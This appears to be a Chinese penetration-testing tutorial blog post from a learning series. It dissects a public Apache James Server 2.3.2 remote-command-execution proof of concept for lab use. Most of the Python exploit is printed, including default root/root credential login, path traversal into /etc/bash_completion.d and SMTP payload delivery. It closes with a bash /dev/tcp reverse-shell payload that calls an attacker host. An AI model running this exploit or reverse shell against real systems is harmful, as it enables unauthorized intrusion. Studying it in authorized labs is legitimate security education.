iT邦幫忙

2021 iThome 鐵人賽

DAY 28
0
Security

資安這條路─系統化學習滲透測試系列 第 28

Day28 - Linux 編譯 POC/exploit

  • 分享至 

  • xImage
  •  

複習:滲透測試的目的

在合法委託下,確認目標網站或系統有可利用的漏洞,若確認有目標在取得授權下,提升權限確認漏洞危害性。

  1. 找到漏洞,確認危害
  2. 合法授權測試,同意提權再進行提權

POC/exploit

除了利用 metasploit 內建的攻擊腳本(以程式語言 Ruby 撰寫),我們還可以透過曾經介紹過的 Exploit-db 與 Searchsploit 找到。

Exploit-db 上的 POC/exploit,可能透過程式語言或腳本如 Python、Perl、Ruby 或 Bash 撰寫而成的。

下載這些 POC 或 exploit,需要了解這些程式碼或腳本的內容,確認不會造成重大危害,且是符合自己的需求。

Tips:有一些惡意的 POC 或 exploit,會撰寫後門、加密目標主機、或是把這台取得權現的受害主機當作殭屍網路。

直譯/編譯差別
以下簡單介紹,粗略的直譯語言與編譯語言,C/C++ 都需要透過編譯產生執行檔。

取得 POC 的方法

  1. 瀏覽器下載 Exploit-db
  2. wget/curl 下載
  3. Searchsploit 複製程式碼

Apache James Server 2.3.2 - Remote Command Execution

針對 Apache James 伺服器的漏洞,透過 JAVA 撰寫而成提供信件代理。

漏洞環境
漏洞環境:https://www.vulnhub.com/entry/solidstate-1,261/
或是 HTB:https://app.hackthebox.eu/machines/SolidState

漏洞POC
Searchsploit 35513
https://www.exploit-db.com/exploits/35513

解析 POC
作者針對 POC 進行的說明

#!/usr/bin/python
#
# Exploit Title: Apache James Server 2.3.2 Authenticated User Remote Command Execution
# Date: 16\10\2014
# Exploit Author: Jakub Palaczynski, Marcin Woloszyn, Maciej Grabiec
# Vendor Homepage: http://james.apache.org/server/
# Software Link: http://ftp.ps.pl/pub/apache/james/server/apache-james-2.3.2.zip
# Version: Apache James Server 2.3.2
# Tested on: Ubuntu, Debian
# Info: This exploit works on default installation of Apache James Server 2.3.2
# Info: Example paths that will automatically execute payload on some action: /etc/bash_completion.d , /etc/pm/config.d

Shebang
最首行表示這個 poc 預設使用的程式語言的解釋器。
常見的如下

程式語言 解釋器
Python #!/usr/bin/python
Bash #!/bin/bash
Bourne shell #!/bin/sh
Perl #!/usr/bin/perl

Payload

import socket
import sys
import time

# specify payload
#payload = 'touch /tmp/proof.txt' # to exploit on any user 
payload = '[ "$(id -u)" == "0" ] && touch /root/proof.txt' # to exploit only on root

查看程式碼預設確認 id -u 是否為 0,如果是 0 表示以 root 權限執行,如果是 root 權限,並在 /root 資料夾中新增 proof.txt 檔案,證明有漏洞。

預設帳號密碼
Apache James 預設帳號密碼為 root/root

# credentials to James Remote Administration Tool (Default - root/root)
user = 'root'
pwd = 'root'

確認原理
執行該程式需要有兩個參數,參數0代表腳本自己,參數1代表目標IP。

if len(sys.argv) != 2:
    sys.stderr.write("[-]Usage: python %s <ip>\n" % sys.argv[0])
    sys.stderr.write("[-]Exemple: python %s 127.0.0.1\n" % sys.argv[0])
    sys.exit(1)

ip = sys.argv[1]

副函式
接收到指令就延遲 0.2 秒

def recv(s):
        s.recv(1024)
        time.sleep(0.2)

嘗試連接
準備連接到目標系統,使用管理員工具。

s.connect((ip,4555))
Apache James 預設 port 可能為 4555 因此連線到目標IP:4555。

s.send(user + "\n")s.send(pwd + "\n") 表示宋預設帳號密碼到目標機器。

準備新增新的使用者 exploit,將新使用者的登入資料夾設定為 ../../../../../../../../etc/bash_completion.d

try:
    print "[+]Connecting to James Remote Administration Tool..."
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,4555))
    s.recv(1024)
    s.send(user + "\n")
    s.recv(1024)
    s.send(pwd + "\n")
    s.recv(1024)
    print "[+]Creating user..."
    s.send("adduser ../../../../../../../../etc/bash_completion.d exploit\n")
    s.recv(1024)
    s.send("quit\n")
    s.close()

進行mail連接
s.connect((ip,25))
Apache James SMTP 伺服器預設 port 可能為 25 因此連線到目標IP:25。

寄送信件

  • 信件來自:<'@team.pl>
  • 寄送給:<../../../../../../../../etc/bash_completion.d
  • payload:payload
  • \r\n.\r\n:發送信件
  • quit:退出
    print "[+]Connecting to James SMTP server..."
    s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect((ip,25))
    s.send("ehlo team@team.pl\r\n")
    recv(s)
    print "[+]Sending payload..."
    s.send("mail from: <'@team.pl>\r\n")
    recv(s)
    # also try s.send("rcpt to: <../../../../../../../../etc/bash_completion.d@hostname>\r\n") if the recipient cannot be found
    s.send("rcpt to: <../../../../../../../../etc/bash_completion.d>\r\n")
    recv(s)
    s.send("data\r\n")
    recv(s)
    s.send("From: team@team.pl\r\n")
    s.send("\r\n")
    s.send("'\n")
    s.send(payload + "\n")
    s.send("\r\n.\r\n")
    recv(s)
    s.send("quit\r\n")
    recv(s)
    s.close()
    print "[+]Done! Payload will be executed once somebody logs in."
except:
    print "Connection failed."
            

漏洞流程

  1. 新增使用者,使用者的登入路徑為特殊路徑
  2. 寄信給新使用者一封有 payload 的信件
  3. paload 將儲存於 /etc/bash_completion.d

修改payload
payload = 'bash -i >& /dev/tcp/[攻擊主機IP]/[監聽port] 0>&1'


上一篇
Day27 - Linux 提權(1)
下一篇
Day29 - Exploitation- Linux kernels 漏洞
系列文
資安這條路─系統化學習滲透測試37
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

1 則留言

0
juck30808
iT邦研究生 1 級 ‧ 2021-10-14 12:04:24

恭喜即將邁入完賽啦~

我要留言

立即登入留言